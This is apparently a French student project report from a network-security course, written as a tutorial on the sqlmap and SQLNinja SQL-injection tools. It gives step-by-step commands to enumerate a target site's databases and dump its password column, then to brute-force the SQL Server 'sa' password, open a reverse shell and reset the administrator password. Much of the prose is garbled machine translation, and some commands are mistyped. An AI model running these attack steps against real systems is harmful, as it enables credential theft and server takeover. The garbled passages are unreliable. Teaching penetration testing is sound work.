SQLMAP, SQL Ninja

Transcription

SQLMAP, SQL Ninja
SQLMAP, SQL Ninja
Master 2 – Réseaux, Image, Parole – filière « Réseaux »
Année 2010-11
Projet Sécurité des réseaux et des contenus multimédia
Thème :
SQLMAP, SQL Ninja
Réalisé par
· ZERARI Khoudir
Enseignante : Mr Osman Salem
Décembre
2011
Décembre
2011
1
SQLMAP, SQL Ninja
Table des matières
1. Introduction
2. C’est quoi injection SQL.
3. SQLMAP
3.1.
Présentation
3.2.
Besoins
3.3.
Scénario
4. SQL NINJA
4.1. Présentation
4.2. Scénario
2
SQLMAP, SQL Ninja
1. Introduction
Ce tutoriel va porter sur SQLMAP et SQL Ninja sous BackTrack 5, avant d'aller dans le vif du sujet
nous allons comprendre ce qu'est BackTrack.
BackTrack est une distribution Linux, apparue en janvier 2010. Elle est née de la fusion de
Whax et Auditor. Son objectif est de fournir une distribution regroupant l'ensemble des outils
nécessaires aux tests de sécurité d'un réseau appeler Pentesting. BackTrack utilise KDE et
Gnome comme environnement, supporte plusieurs langage de claviers par simple clic (le
français s'obtient en sept clics sur le drapeau de la barre KDE), et contient de nombreux outils
permettant d'effectuer des tests de sécurité (près de 300). Elle vise à aborder tous les domaines
liés aux sécurités modernes. De l'audit réseau à l'analyse et l'identification de vulnérabilité,
BackTrack est reconnu par les professionnels de la sécurité informatique comme outil
complet. Elle est favorablement connue et utilisée à des fins d'audit de réseaux sans fil Wifi :
son développement est en effet axé sur la prise en charge de cartes ou circuits wifi supportant
le mode écoute Les outils regroupé (Kismet et autres) mettent en évidence le manque de
fiabilité des chiffrements WEP et WPA.
Les objectifs de BackTrack :
BackTrack donne à l'utilisateur d'une distribution Linux entièrement équipée, avec tous les
logiciels au dernier niveau disponible, le construire, ce n'est pas si facile et le but est de
donner à l'utilisateur final un environnement complet où l'utilisateur ne doit s'inquiéter ne
l'installation et les mises à jour. Si vous avez de suivre les mises à jour de tous ces logiciels
alors
que
serait
contraire
au
but
ensemble.
En revanche, le système d'exploitation BackTrack seront les mettre à jour pour vous chaque
fois qu'il ya une nouvelle version disponible.
BackTrack inclut beaucoup de bien connu de la sécurité des outils, notamment:
· L'intégration Metasploit
· RFMON pilotes d'injection sans fil capable
· Kismet
· Nmap
· Ophcrack
· Ettercap
· Wireshark (anciennement connu sous le nom Ethereal)
· BOEUF (Cadre d'Exploitation du navigateur)
· Hydra
Etc.…
3
SQLMAP, SQL Ninja
2. C’est quoi injection SQL
Une injection SQL est une méthode d’exploitation d’une faille de sécurité liée à une base de
données. Elle consiste via une application utilisant une base de données SQL à injecter une
requête qui permettrait d’obtenir beaucoup d’informations allant de la version du serveur
jusqu’à la base de données complète [3].
3. SQL MAP
3.1.
Présentation
SQLMAP est une open source en ligne de commande automatique de l'injection
SQL outil. Son objectif est de détecter et de tirer profit des vulnérabilités d'injection SQL dans
les applications web. Une fois qu'il détecte une ou plusieurs injections SQL sur l'hôte cible,
l'utilisateur peut choisir parmi une variété d'options pour effectuer une vaste arrière-système
de base de gestion des empreintes digitales, de récupérer utilisateur de la session SGBD et
bases de données, les utilisateurs énumérer, les mots de passe, privilèges, bases de données ,
décharge entière ou spécifiée utilisateur tables du SGBD / colonnes, gérer son propre
instruction SQL, lire ou écrire du texte ou des fichiers binaires sur le système de fichiers,
d'exécuter des commandes arbitraires sur le système d'exploitation, d'établir une connexion
dite stateful out-of-band entre l'attaquant et le serveur base de données via stager payload
Metasploit, l'exploitation de bases de données stockées débordement de tampon ou de
procédure de l'attaque de relais SMB (Server Message Block) et plus encore.
3.2.
Besoins
SQLMAP est développé en Python , une dynamique orientée objet langage de programmation
interprété. Cela rend l'outil indépendant du système d'exploitation. Il ne nécessite que la
version interpréteur Python 2 supérieur ou égal à 2,6. L'interprète est librement téléchargeable
à partir de son site officiel . Pour le rendre encore plus facile, de nombreuses distributions
GNU / Linux de sortir de la boîte avec interpréteur Python installé et autres systèmes Unix et
Mac OSX fournissent aussi il emballé dans leurs formats et prêt à être installé. Les utilisateurs
Windows peuvent télécharger et installer l'installateur Python setup-prêt pour les architectures
x86, AMD64 et Itanium aussi.
Si vous êtes prêt à vous connecter directement à un serveur de base de données (-d switch),
sans passer par une application Web, vous devez installer Python pour le système de gestion
de base de données que vous allez à l'attaque:
·
·
Firebird: python-kinterbasdb .
Microsoft Access: python-pyodbc .
4
SQLMAP, SQL Ninja
·
·
·
·
·
·
Microsoft SQL Server: python-pymssql .
MySQL: python-mysqldb .
Oracle: python cx_Oracle .
PostgreSQL: python-psycopg2 .
SQLite: python-pysqlite2 .
Sybase: python-pymssql .
Si vous prévoyez d'attaquer une application Web derrière l'authentification NTLM ou utiliser
la fonctionnalité de mise à jour sqlmap ( - -update commutateur), vous devez installer
respectivement python-NTLM etpython-svn bibliothèques.
3.3.
Scénario
Passons au vif du sujet [2] :
1 - Lancer SQLMAP Application ==> BackTrack ==>Exploitation Tools ==> SQLMAP
Une fois effectué, cliqué sur sqlmap vous devriez apercevoir ceci :
5
SQLMAP, SQL Ninja
Une fois que vous avez l'interface sqlmap lancé à la suite de
root@bt:/pentest/database/sqlmap# ça
Code:
python sqlmap.py -u http://tonsite.fr/index.php?id=61 --dbs
Alors on va prendre le temps de comprendre ces commandes. Cliquer sur entré. tout d'abord
prenons la signification de chaque paramètre :
Python sqlmap.py cela signifie qu’il faut lancer sqlmap en python puisqu'il est codé en
python reconnaissable grâce à son extension .py
-u
cela signifie le paramètre host , c'est à dire url que vous voulez analyser
- - dbs
la c'est la commande essentiel pour avancer dans ce tutoriel , ce paramètre
permettra d'avoir la base de donnée.
Passons à la suite et faite enter cela va analyser les requêtes potentiellement vulnérables sur
url que vous avez indiquée précédemment. Si cela est vulnérable a une faille sql, blind, sql
etc... Vous devriez voir la database ou les database, si la faille est béante cela devrait aller vite
6
SQLMAP, SQL Ninja
dans le qu'a contraire attendez le résultat tout simplement, voici un aperçu :
Donc si vous comprenez et regardé bien on peut apercevoir 2 databases sous cette forme :
7
SQLMAP, SQL Ninja
maintenant nous savons que les database sont nommé geront et information_schema , donc
il va falloir avoir obtenir les tables de ( exemple : geront ) afin de savoir les mots de passe
des utilisateurs .Continuons dans le tutoriel , alors rappeler vous ! On avait effectué
précédemment cette commande.
Code:
python sqlmap.py -u http://tonsite.fr/index.php?id=61 --dbs
Vous allez maintenant remplacer --dbs par un -D majuscule, le faite de mettre le D signifie
que vous voulez rentrer dans une database précises donc suivre la procédure suivante :
Code:
python sqlmap.py -u http://tonsite.fr/index.php?id=61 -D geront --tables
--tables pour obtenir les tables de la database geront
Une fois cette ligne écrite dans le terminal faite entrer vous devriez obtenir ceci :
Le résultat :
8
SQLMAP, SQL Ninja
Une fois afficher les tables et bien comme toute procédure d'injection SQL il faut avoir les
colonnes, la dans notre exemple on va prendre les colonnes de la tables compte donc nous
allons effectuer cette commande :
Code:
python sqlmap.py -u http://tonsite.fr/index.php?id=61 -D geront -T compte --columns
Si vous remarqué un petit détail ! On a enlevé --tables ! Pour le remplacer par -T majuscule, et
bien là c'est encore le même procédé que dans le paragraphe étudier au-dessus afin de
préciser la table au quel on veut obtenir les colonnes, faite entré vous devriez voir ceci :
9
SQLMAP, SQL Ninja
Résultats
Maintenant que nous avons les colonnes de la tables comptes nous pouvons procèdes a
l'extraction des données de la colonne MDP donc on va procéder comme suite :
Code:
python sqlmap.py -u http://tonsite.fr/index.php?id=61 -D geront -T compte -C mdp --dump
10
SQLMAP, SQL Ninja
là encore nous avons effectué un changement on a enlevez --columns afin de le remplacer par
un C majuscule la encore on cible une colonne précise dans notre exemple c'est MDP et on a
rajouter --dump, cette option permet d'extraire les données de la colonne MDP cela mettra
peut être un peu de temps à extraire les données tout dépend des informations enregistrées ,
maintenant vous devriez voir ce ci :
Résultat
Il ne vous reste pl us qu'a décrypter c'est passe et voil a !!
11
SQLMAP, SQL Ninja
4. SQL Ninja
4.1.
Présentation [4]
SQLNinja est un outil destiné à permettre l’exploitation des serveurs de base de
données Microsoft, jusqu’à l’obtention d’un accès shell, à partir d’une vulnérabilité
applicative de type SQL injection.
Au fur et à mesure que les applications web se généralisent et que parallèlement les
infrastructures gagnent en sécurité, leurs bugs devenant de plus en plus difficiles à trouver, les
vulnérabilités applicatives deviennent une cible de choix lors des tests d’intrusion.
Il peut être alors particulièrement utile de pouvoir obtenir un accès complet (shell) sur un
serveur de base de données à partir d’une vulnérabilité de type SQL injection.
SQLNinja vous permet d'obtenir un shell sur la base de données attaché.
SQLNinja pouvez-vous faire une empreintes digitales SQL server, une attaque par force brute
le mot de passe d'administrateur système, un port à balayage pour détecter les ports
ouverts, tunnel via DNS ou ICMP port, Lorsque tous les ports TCP/UDP sont fermés, mais le
serveur résout les noms d'hôtes externes. Sa puissance augmente encore plus lorsqu'il est
utilisé avec Metasploit.
Objectif Sqlninja est d'exploiter les vulnérabilités d'injection SQL sur les applications web qui
utilisent Microsoft SQL Server en tant que back-end.
Il ya beaucoup d'autres outils de type injection SQL mais SQLNinja, au lieu d'extraire les
données, se concentre sur l'obtention un shell interactif sur le serveur DB à distance et en
l'utilisant comme un pied dans le réseau cible.
4.2.
Scénario[5]
L’utilisation de SQL Ninja est tellement vaste nous nous concentrons sur 10 point essentiels :
1. Configuration du fichier de ninja : Comportements SQLNinja est contrôlé via
le fichier de configuration (par défaut: SQLNinja.conf), qui raconte ce SQLNinja à
l'attaque et comment (l'hôte cible, la page vulnérables, exploiter des chaînes, ...)
A. Injection du site web victime est « hoste=ww2.widget.com »
B. Le port victime à utiliser pour injecter (valeur par défaut est 80)
2. Le teste de vulnérabilité du site :
./sqlninja -m test
12
SQLMAP, SQL Ninja
SQLNinja dispose actuellement de 12 modes d'attaque. Le mode d'utilisation peut être
spécifié par son nom, ici c’est –m, test signifie l'utilisation en mode test pour vérifier que le
code SQL est correctement injecté.
Nous remarquons que le code SQL a été injecté.
3. L'empreinte digitale du site
L’empreinte digitale sur le serveur DB à distance, en utilisant fingprint.
Code
./sql -m fingprint
Le résultat
ET on choisit All of the above
13
SQLMAP, SQL Ninja
4. brute force the ‘sa’ password
Si nécessaire, utilisez le mode brute force pour trouver le 'sa' mot de passe et escalade de
privilèges, Cette méthode est utilisée lorsque une liste de mots n'est pas précisé. SQLNinja
soumet un ensemble de requêtes qui tentent * TOUS * les combinaisons possibles de
caractères jusqu'à une certaine longueur qui est spécifiée par l'utilisateur. L'aspect fraîcheur de
cette tactique est que puisque les requêtes exécutées sur le serveur DB, la brute force est en
fait réalisée à l'aide des ressources CPU de la cible.
Code
./sqlninja -m bruteforce -w /root/wireless/wordliste.txt
Résultat
nombre de processus simultanés, et nous avons choisis 10,
5. Tentative de ressusciter l'interpréteur de commandes (shell)
Utilisez cette méthode lorsque le serveur à distance DB est directement accessible sur certains
ports TCP ou UDP. SQLNinja demande le port distant, le protocole, indique au serveur DB
pour lier une invite de commande pour ce port, puis commence la connexion.
Code :
./sqlninja -m resurrectxp -p pinnacle
Résultat
14
SQLMAP, SQL Ninja
Ici il demande la version de SQL Server et nous choisissons 2000.
6. set xp_name to NULL in the config file remove # in the config file
7. Upload file (Importer un fichier)
Code
./sqlninja -m ipload -p pinnacle
Résultat
8. set usechurrasco to yes
./sqlninja –m revshell –p pinnacle
Voici le résultat
15
SQLMAP, SQL Ninja
Et nous choisissons le protocole TCP, on est rentré.
9. change the administrator password in commande shell net user
administrator password
10. Open vnc GUI
Code
./sqlninja -m metasploit -p pinnacle
16
SQLMAP, SQL Ninja
Site web
[1] http://sqlninja.sourceforge.net/sqlninja-howto.html
[2] http://www.crack-wifi.com/forum/viewtopic.php?id=6396
[3] http://www.planet-libre.org/index.php?post_id=10179&go=external
[4] http://www.secuobs.com/news/12022007-sqlninja.shtml#contenu
[5] http://sqlninja.sourceforge.net/
17

Documents pareils